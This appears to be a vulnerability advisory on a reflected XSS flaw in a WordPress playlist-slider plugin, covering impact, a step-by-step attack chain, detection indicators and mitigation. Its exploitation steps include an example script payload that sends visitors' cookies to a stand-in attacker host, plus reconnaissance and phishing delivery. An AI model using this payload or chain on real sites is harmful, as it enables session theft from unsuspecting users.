CVE-2025-30626: 
WordPress vulnerability analysis and mitigation

CVE-2025-30626 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Multimedia Playlist Slider Addon for WPBakery Page Builder plugin developed by LambertGroup. It affects all versions from n/a through 2.1 and is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability was published on August 14, 2025, with the CVE assigned by Patchstack. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

The vulnerability stems from insufficient sanitization and escaping of user-supplied input that is reflected back in the web page response, classified as CWE-79 (Reflected XSS). An attacker can craft a malicious URL containing a JavaScript payload targeting a vulnerable parameter handled by the lbg_vp_youtube_vimeo_addon_visual_composer plugin. When a victim clicks the crafted link, the unsanitized input is rendered in their browser, executing the attacker's script in the context of the victim's session. No authentication is required to craft the malicious request, though user interaction (clicking a link) is necessary for exploitation (Patchstack, Red Hat CVE).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a victim who visits a crafted URL, potentially leading to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of page content as seen by the victim. Because the attack is reflected (not stored), it requires social engineering to deliver the malicious link to a target. The CVSS vector indicates impacts to confidentiality, integrity, and availability (all rated Low) with a Changed scope, meaning the attack can affect resources beyond the vulnerable component itself (Patchstack).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-30626 as of the available data. The EPSS score is approximately 0.032% (0.000320), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Red Hat CVE, Patchstack).

1. Reconnaissance: Identify WordPress sites using the Multimedia Playlist Slider Addon for WPBakery Page Builder plugin (version ≤ 2.1) via Google dorks, WPScan, or similar tools.
2. Identify vulnerable parameter: Locate the plugin's front-end endpoint or shortcode-rendered page that reflects unsanitized user input in the HTTP response.
3. Craft malicious URL: Construct a URL targeting the vulnerable parameter with a reflected XSS payload, e.g., https://target-site.com/page/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a victim (e.g., via phishing email, social media, or forum post) to trick them into clicking it.
5. Achieve objective: When the victim loads the URL in their browser, the injected script executes in their session context, enabling cookie theft, session hijacking, or further malicious actions (Patchstack).

• Network: HTTP GET/POST requests to WordPress pages with URL-encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=) in query parameters associated with the plugin's shortcode or page rendering.
• Logs: WordPress or web server access logs showing requests with suspicious query strings containing <script>, javascript:, or encoded variants (%3Cscript%3E) targeting plugin-rendered pages.
• Browser/Client-Side: Unexpected outbound connections from victim browsers to unknown external domains shortly after visiting a WordPress page using this plugin.

The primary remediation is to update the Multimedia Playlist Slider Addon for WPBakery Page Builder plugin to a version beyond 2.1 if a patched release is available from LambertGroup or the WordPress plugin repository. If no patched version is available, site administrators should consider deactivating and removing the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Patchstack).

The vulnerability was noted in the Wordfence Intelligence Weekly WordPress Vulnerability Report for the week of July 14–20, 2025, indicating it was tracked by the WordPress security community prior to its official NVD publication (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified.